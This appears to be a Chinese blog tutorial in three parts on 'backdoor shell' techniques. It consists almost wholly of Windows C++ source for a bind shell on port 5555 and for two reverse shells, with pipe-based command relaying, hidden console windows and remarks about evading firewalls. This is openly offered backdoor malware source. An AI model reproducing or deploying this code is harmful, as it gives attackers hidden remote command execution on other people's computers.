

后门shell各种奇怪的玩法（一）

```
1 无通道链接的后门shell
2
3 #define _CRT_SECURE_NO_WARNINGS
4 #define _WINSOCK_DEPRECATED_NO_WARNINGS
5 #include <WinSock2.h>
6 #include <iostream>
7 #include <windows.h>
8 #include <cstdlib>
9 #include <iostream>
10 #include <ctime>
11 #define CMD_LINE_LEN 512
12 #define RECV_BUF_LEN 4096
13 using namespace std;
14
15 #pragma comment(lib, "ws2_32.lib")
16
17
18
19 BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
20 {
21     int iRet = 0;
22
23     if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
24     {
25         return(FALSE);
26     }
27     iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
28     if (!iRet)
29     {
30         GetSystemDirectory(pszResultBuf, nSize);
31         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
32     }
33     iRet = strlen(pcszCmd);
34     if (iRet)
35     {
36         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
37         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
38     }
39
40     return(TRUE);
41 }
42
43 BOOL StartShell(UINT uiPort)
44 {
45     WSADATA wsaData = { 0 };
46     int iRet = 0;
47     SOCKET hSock = INVALID_SOCKET;
48     SOCKET hCIntSock = INVALID_SOCKET;
49     SOCKADDR_IN stCIntSockAddr = { 0 };
50     SOCKADDR_IN stSockAddr = { 0 };
51     int iSizeOfSockAddr = sizeof(stCIntSockAddr);
52     char szCmdLine[CMD_LINE_LEN] = { 0 };
53     BOOL fOk = FALSE;
54     PROCESS_INFORMATION pi = { 0 };
55     STARTUPINFO si = { 0 };
56
57     do
58     {
59         iRet = WSASStartup(MAKEWORD(2, 2), &wsaData);
60         if (SOCKET_ERROR == iRet)
61         {
62             return(FALSE);
63         }
64         hSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
65         if (INVALID_SOCKET == hSock)
```

```

66     {
67         break;
68     }
69     stSockAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
70     stSockAddr.sin_port = htons(uiPort);
71     stSockAddr.sin_family = AF_INET;
72
73     iRet = bind(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
74     if (SOCKET_ERROR == iRet)
75     {
76         break;
77     }
78     iRet = listen(hSock, 5);
79     if (SOCKET_ERROR == iRet)
80     {
81         break;
82     }
83
84     hClntSock = accept(hSock, (SOCKADDR *)&stClntSockAddr, &iSizeOfSockAddr);
85     if (INVALID_SOCKET == hClntSock)
86     {
87         break;
88     }
89
90     si.cb = sizeof(STARTUPINFO);
91     GetStartupInfo(&si);
92     si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
93     si.hStdError = si.hStdInput = si.hStdOutput = (HANDLE)hClntSock;
94     si.wShowWindow = SW_HIDE;
95
96     if (!GetCmdPath(szCmdLine, CMD_LINE_LEN))
97     {
98         break;
99     }
100    if (!CreateProcessA(szCmdLine, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si,
    &pi))
101    {
102        break;
103    }
104    WaitForSingleObject(pi.hProcess, INFINITE);
105    fOk = TRUE;
106
107    } while (FALSE);
108
109    if (NULL != pi.hThread)
110    {
111        CloseHandle(pi.hThread);
112    }
113    if (NULL != pi.hProcess)
114    {
115        CloseHandle(pi.hProcess);
116    }
117    if (INVALID_SOCKET != hSock)
118    {
119        closesocket(hSock);
120        hSock = INVALID_SOCKET;
121    }
122    if (INVALID_SOCKET != hClntSock)
123    {
124        closesocket(hClntSock);
125        hClntSock = INVALID_SOCKET;
126    }
127    WSACleanup();
128
129    return(fOk);
130 }
131
132 int APIENTRY WinMain(HINSTANCE hInstance,
133     HINSTANCE hPrevInstance,
134     LPCTSTR lpCmdLine,
135     int nCmdShow)
136 {
137     StartShell(5555);
138

```

```
139     return 0;
140 }
```

后门shell各种奇怪的玩法（二）

```
1 单管道主动型后门(反弹Shell)
2
3 这个后门的最大特点是控方作为服务端而被控端为客户端， 由于是由被控端主动请求连接主控端，所以不会有
  防火墙阻止之类的问题
4
5 #include <winsock2.h>
6 #include <windows.h>
7 #include <iostream>
8 #include <cstring>
9 #define CMD_LEN_BUF 512
10 #define RECV_LEN_BUF 4096
11
12 #pragma comment(lib, "ws2_32.lib")
13
14 using namespace std;
15
16 BOOL fExit = FALSE;
17
18 struct ThreadInfoNode
19 {
20     HANDLE hPipe;
21     SOCKET hSock;
22 };
23
24 DWORD WINAPI RecvResultAndSendToServer(LPVOID lpThreadParameter)
25 {
26     ThreadInfoNode stNode = *(ThreadInfoNode *)lpThreadParameter;
27     HANDLE hPipe = stNode.hPipe;
28     SOCKET hSocket = stNode.hSock;
29     char szBuf[RECV_LEN_BUF] = {0};
30     int iRet = 0;
31     DWORD dwTotalAvail = 0;
32     BOOL fOk = FALSE;
33     DWORD dwReaded = 0;
34
35     while (!fExit)
36     {
37         fOk = PeekNamedPipe(hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
38         if (fOk && dwTotalAvail > 0)
39         {
40             fOk = ReadFile(hPipe, szBuf, RECV_LEN_BUF, &dwReaded, NULL);
41             if (fOk && dwReaded > 0)
42             {
43                 int iCurr = 0;
44                 int iOffset = 0;
45                 do
46                 {
47                     iCurr = send(hSocket, szBuf + iOffset, dwReaded, 0);
48                     if (!iCurr || iCurr == SOCKET_ERROR)
49                     {
50                         fExit = TRUE;
51                         break;
52                     }
53                     iOffset += iCurr;
54                     dwReaded -= iCurr;
55                     Sleep(50);
56                 } while (dwReaded > 0);
57             }
58             RtlZeroMemory(szBuf, RECV_LEN_BUF);
59         }
60     }
61 }
62
```

```

63     return(0);
64 }
65
66 BOOL GetCmdPath(char *pszResultBuf, size_t nSize, const char *pcszCmd = "")
67 {
68     int iRet = 0;
69
70     if (NULL == pcszCmd || !nSize || NULL == pszResultBuf)
71     {
72         return(FALSE);
73     }
74     iRet = ExpandEnvironmentStringsA("%COMSPEC%", pszResultBuf, nSize);
75     if (!iRet)
76     {
77         GetSystemDirectory(pszResultBuf, nSize);
78         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), "\\cmd.exe");
79     }
80     iRet = strlen(pcszCmd);
81     if (iRet)
82     {
83         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), " /c ");
84         strcat_s(pszResultBuf, nSize - strlen(pszResultBuf), pcszCmd);
85     }
86
87     return(TRUE);
88 }
89
90
91 BOOL StartShell(const char *pcszIP, UINT uiPort)
92 {
93     SOCKET hSock = INVALID_SOCKET;
94     SOCKADDR_IN stSockAddr = {0};
95     HANDLE hReadPipe = NULL, hWritePipe = NULL;
96     HANDLE hThread = NULL;
97     SECURITY_ATTRIBUTES sa = {0};
98     STARTUPINFO si = {0};
99     PROCESS_INFORMATION pi = {0};
100    WSADATA stData = {0};
101    int iRet = 0;
102
103    if (NULL == pcszIP)
104    {
105        return(FALSE);
106    }
107    __try
108    {
109        if (SOCKET_ERROR == WSASStartup(MAKEWORD(2, 2), &stData))
110        {
111            return(FALSE);
112        }
113        hSock = socket(AF_INET, SOCK_STREAM, 0);
114        if (INVALID_SOCKET == hSock)
115        {
116            __leave;
117        }
118        stSockAddr.sin_family = AF_INET;
119        stSockAddr.sin_port = htons(uiPort);
120        stSockAddr.sin_addr.S_un.S_addr = inet_addr(pcszIP);
121
122        // connect one time every 0.5 min interval
123        do
124        {
125            iRet = connect(hSock, (SOCKADDR *)&stSockAddr, sizeof(stSockAddr));
126            Sleep(500);
127        } while (SOCKET_ERROR == iRet);
128        sa.bInheritHandle = TRUE;
129        sa.lpSecurityDescriptor = NULL;
130        sa.nLength = sizeof(sa);
131        if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0))
132        {
133            __leave;
134        }
135        si.cb = sizeof(STARTUPINFO);
136        GetStartupInfo(&si);

```

```

137 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
138 si.wShowWindow = SW_HIDE;
139 si.hStdError = si.hStdOutput = hWritePipe;
140
141 ThreadInfoNode stNode = {hReadPipe, hSock};
142
143 hThread = CreateThread(NULL, 0, RecvResultAndSendToServer, &stNode, 0, NULL);
144 if (NULL == hThread)
145 {
146     __leave;
147 }
148 char szCmdLine[CMD_LEN_BUF] = {0};
149 char szCmdBuf[CMD_LEN_BUF] = {0};
150 do
151 {
152     // get command from remote server
153     iRet = recv(hSock, szCmdBuf, CMD_LEN_BUF, 0);
154     if (!iRet || SOCKET_ERROR == iRet)
155     {
156         break;
157     }
158     // build command
159     if (!GetCmdPath(szCmdLine, CMD_LEN_BUF, szCmdBuf))
160     {
161         continue;
162     }
163     // create cmd.exe process to execute command
164     if (!CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si,
    &pi))
165     {
166         continue;
167     }
168     // if recieve command "exit", terminate process and sub-thread
169     if (strstr(szCmdBuf, "exit\n"))
170     {
171         break;
172     }
173     RtlZeroMemory(szCmdBuf, CMD_LEN_BUF);
174     Sleep(100);
175 } while (TRUE);
176 fExit = TRUE;
177 WaitForSingleObject(hThread, INFINITE);
178 }
179 __finally
180 {
181     if (NULL != hReadPipe)
182     {
183         CloseHandle(hReadPipe);
184         hReadPipe = NULL;
185     }
186     if (NULL != hWritePipe)
187     {
188         CloseHandle(hWritePipe);
189         hWritePipe = NULL;
190     }
191     if (INVALID_SOCKET != hSock)
192     {
193         closesocket(hSock);
194         hSock = INVALID_SOCKET;
195     }
196     if (NULL != pi.hProcess)
197     {
198         CloseHandle(pi.hProcess);
199         pi.hProcess = NULL;
200     }
201     if (NULL != pi.hThread)
202     {
203         CloseHandle(pi.hThread);
204         pi.hThread = NULL;
205     }
206 }
207
208 return(TRUE);
209 }

```

```

210
211 int APIENTRY WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance,
    __in_opt LPSTR lpCmdLine, __in int nShowCmd )
212 {
213     StartShell("127.0.0.1", 9999);
214
215     return(0);
216 }

```

后门shell各种奇怪的玩法（三）

```

1  主要涉及到了socket通信和管道。
2  后门分为主动连接型和反向连接型，区别就是一个是后门程序作为服务端，另一个是后门程序作为客户端。
3  双管道的原因：cmd执行结果写入管道1写句柄，后门从管道1读句柄读取cmd执行结果，后门接受到的命令通
    过管道2的写句柄写入，cmd通过管道2的读句柄读出。
4  多的不说，直接上代码，我觉得注释还是比较详细了
5  #include<iostream>
6  #include<stdio.h>
7  #include<stdlib.h>
8  #include<string.h>
9  #include<winsock.h>
10 #include<Windows.h>
11
12 #pragma comment(lib,"ws2_32.lib")
13
14 SOCKET Connecting(unsigned short Port);
15 void CmdLine(SOCKET s);
16 int Hide();
17
18 int main() {
19     Hide();
20     SOCKET s;
21     s = Connecting(8888);
22     CmdLine(s);
23     closesocket(s);
24     WSACleanup();
25     return 0;
26 }
27
28
29 SOCKET Connecting(unsigned short Port) {
30     WSADATA wsa;
31     if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0)
32         return SOCKET_ERROR;
33
34     //创建套接字
35     SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
36     if (s == INVALID_SOCKET)
37         return SOCKET_ERROR;
38
39     //对sockaddr_in结构体填充地址，端口等信息
40     struct sockaddr_in ServerAddr;
41     ServerAddr.sin_family = AF_INET;
42     ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
43     ServerAddr.sin_port = htons(Port);
44
45
46     //连接服务器
47     while (connect(s, (SOCKADDR *)&ServerAddr, sizeof(ServerAddr)));
48     return s;
49 }
50 void CmdLine(SOCKET s) {
51     //双管道读写句柄
52     HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
53     //对SECURITY_ATTRIBUTES结构体进行填充
54     SECURITY_ATTRIBUTES se;
55     se.nLength = 12;
56     se.lpSecurityDescriptor = 0;

```

```

57     se.bInheritHandle = true;
58     //创建管道
59     CreatePipe(&hReadPipe1, &hWritePipe1, &se, 0);        //管道1
60     CreatePipe(&hReadPipe2, &hWritePipe2, &se, 0);        //管道2
61
62     //指定cmd的启动信息
63     STARTUPINFO si;
64     ZeroMemory(&si, sizeof(si));
65     si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
66     si.wShowWindow = SW_HIDE;
67     si.hStdInput = hReadPipe2;
68     si.hStdOutput = si.hStdError = hWritePipe1;
69
70     PROCESS_INFORMATION Pro;
71     //创建进程
72     char cmdline[] = "cmd.exe";
73     CreateProcess(NULL,cmdline, NULL, NULL, 1, 0, NULL, NULL, &si, &Pro);
74
75
76     while (1)
77     {
78         unsigned long lBytesRead;
79         char Buff[1024];
80         //查看cmd是否有输出
81         PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
82         if (lBytesRead)
83         {
84             //读取cmd的输出,发送到客户端
85             ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
86             send(s, Buff, lBytesRead, 0);
87
88         }
89         else
90         {
91             //接收客户端命令
92             lBytesRead = recv(s, Buff, 1024, 0);
93             //把命令传给cmd
94             WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
95         }
96     }
97 }
98
99 int Hide() {
100     HWND hwnd;
101     hwnd = FindWindow("ConsoleWindowClass", NULL); //处理顶级窗口的类名和窗口名称匹配指定
102     if (hwnd)
103     {
104         ShowWindow(hwnd, SW_HIDE); //设置指定窗口的显示状态
105     }
106     return 0;
107 }
108

```

